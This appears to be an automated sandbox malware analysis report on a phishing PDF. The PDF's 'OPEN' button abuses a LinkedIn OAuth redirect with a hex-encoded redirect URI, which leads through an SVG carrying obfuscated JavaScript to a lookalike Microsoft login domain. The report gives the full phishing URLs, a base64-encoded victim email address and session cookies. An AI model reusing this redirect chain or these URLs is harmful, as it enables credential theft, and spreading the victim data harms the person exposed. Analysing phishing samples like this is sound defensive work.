Edit tour

Windows Analysis Report
Scanned Page(s).pdf

Overview

General Information

Sample name:	Scanned Page(s).pdf
Analysis ID:	1665411
MD5:	031bc3792bf0fcfd59ae8520c42e879c
SHA1:	0b0984db2170039d94aa1cc8c2fe2b9c98ad7e3f
SHA256:	55894ec10dfbbabf4a8dd8cb64b7a287bb6f862fbfe3e7a0c382403c79e0bccd
Infos:

Detection

Score:	56
Range:	0 - 100
Confidence:	100%

Signatures

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

HTML page contains obfuscated javascript

Yara detected JavaScript embedded in SVG

HTML page contains hidden javascript code

Classification

Process Tree

System is w10x64_ra

Acrobat.exe (PID: 6284 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Scanned Page(s).pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6484 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6708 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1568,i,10327146864677046670,12314437090272963477,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 2240 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://linkedin.com/oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7296 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1988,i,6044711778918804006,18211425112669402926,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2004 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_171	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected landing page (webpage, office document or email)

Source: PDF document	Joe Sandbox AI: Page contains button: 'OPEN' Source: 'PDF document'
Source: PDF document	Joe Sandbox AI: PDF document contains prominent button: 'open'

AI detected suspicious Javascript

Source: 1.5..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://62e04af28f.imgdist.com/public/users/BeeFre... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code/URLs. The script appears to be decoding and executing a hidden payload, which is a strong indicator of malicious intent. Additionally, the script uses multiple layers of try-catch blocks, which is a common technique used to hide malicious activities. Overall, this script poses a significant security risk and should be treated with caution.

HTML page contains obfuscated javascript

Source: https://www.linkedin.com/oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34

HTTP Parser: fs.config({"failureRedirect":"http://www.linkedin.com/","uniEscape":true,"xhrHeaders":{"X-FS-Origin-

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: dropped/chromecache_171, type: DROPPED

HTTP Parser: Base64 decoded: amber.cruz@hscpoly.com

Source: https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/?t=YW1iZXIuY3J1ekBoc2Nwb2x5LmNvbQ==&?bai09ejgryrzwmvzfqvzz1f64bai09ejgryrzwmvzfqvzz1f64&error=invalid_request&error_description=You+need+to+pass+the+%22scope%22+parameter

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 13.107.42.14:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.14:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.22.12:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.42:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.42:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.42:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.42:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.131.42:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.195.42:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.22.12:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.22.12:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.15.106:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.170.91.82:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.170.91.82:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.162:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.162:443 -> 192.168.2.16:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.162:443 -> 192.168.2.16:49749 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 38MB

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.42.14
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.9.94
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.9.94

Source: global traffic	HTTP traffic detected: GET /oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34 HTTP/1.1Host: linkedin.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34 HTTP/1.1Host: www.linkedin.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sc/h/35397qx3weze575afrgy8jbkj HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scds/common/u/lib/fizzy/fz-1.3.8-min.js HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sc/h/b9d2ioq59rc8u5l3n2c017zz HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sc/h/bd4wlgg9kzz4u85nas4duu0py HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sc/h/9sy73bkb829663kxb6g04uafc HTTP/1.1Host: static.licdn.comConnection: keep-aliveOrigin: https://www.linkedin.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sc/h/6uvbu98hl3odicpkxfj7uwnuh HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://static.licdn.com/sc/h/35397qx3weze575afrgy8jbkjAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sc/h/6uvbu98hl3odicpkxfj7uwnuh HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sc/p/com.linkedin.oauth-fe%3Aoauth-fe-static-content%2B4.0.1495/f/%2Foauth-frontend%2Fartdeco%2Fstatic%2Fimages%2Ficons.svg HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://www.linkedin.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sc/h/3m4lyvbs6efg8pyhv7kupo6dh HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sc/h/3m4lyvbs6efg8pyhv7kupo6dh HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /li/track HTTP/1.1Host: www.linkedin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PLAY_SESSION=eyJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImZsb3dUcmFja2luZ0lkIjoibGRpazNzQUhUOW1VQ0FrQlIxMk45Zz09In0sIm5iZiI6MTc0NDcxOTM4MiwiaWF0IjoxNzQ0NzE5MzgyfQ.20CtsIZcHK1VlzbjylEUnVj5kvgSjomOJEwp5Nv0dC8; JSESSIONID=ajax:2542263418540269629; lang=v=2&lang=en-us; bcookie="v=2&123cd882-198b-4c8a-8b7f-7f1fcd6637f3"; bscookie="v=1&202504151216220384beb1-f978-4937-8b3f-b0e20bcb28d5AQF6TatvQhxBOHKCXquYbqn_R0Bmb_-I"; lidc="b=TGST07:s=T:r=T:a=T:p=T:g=3069:u=1:x=1:i=1744719382:t=1744805782:v=2:sig=AQGnjLL1LW849mo4SMkmSlJHGk42VAmu"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Microsoft-CryptoAPI/10.0Host: x1.i.lencr.org
Source: global traffic	HTTP traffic detected: GET /public/users/BeeFree/beefree-31ff42bd-9787-4fbe-bed4-53cc2f6c51cc/generated.svg?t=YW1iZXIuY3J1ekBoc2Nwb2x5LmNvbQ==&?bai09ejgryrzwmvzfqvzz1f64bai09ejgryrzwmvzfqvzz1f64&error=invalid_request&error_description=You+need+to+pass+the+%22scope%22+parameter HTTP/1.1Host: 62e04af28f.imgdist.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?t=YW1iZXIuY3J1ekBoc2Nwb2x5LmNvbQ==&?bai09ejgryrzwmvzfqvzz1f64bai09ejgryrzwmvzfqvzz1f64&error=invalid_request&error_description=You+need+to+pass+the+%22scope%22+parameter HTTP/1.1Host: authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/styles/cf.errors.css HTTP/1.1Host: authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/?t=YW1iZXIuY3J1ekBoc2Nwb2x5LmNvbQ==&?bai09ejgryrzwmvzfqvzz1f64bai09ejgryrzwmvzfqvzz1f64&error=invalid_request&error_description=You+need+to+pass+the+%22scope%22+parameterAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/browser-bar.png?1376755637 HTTP/1.1Host: authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/cdn-cgi/styles/cf.errors.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/cf-no-screenshot-error.png HTTP/1.1Host: authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/cdn-cgi/styles/cf.errors.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/?t=YW1iZXIuY3J1ekBoc2Nwb2x5LmNvbQ==&?bai09ejgryrzwmvzfqvzz1f64bai09ejgryrzwmvzfqvzz1f64&error=invalid_request&error_description=You+need+to+pass+the+%22scope%22+parameterAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/browser-bar.png?1376755637 HTTP/1.1Host: authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
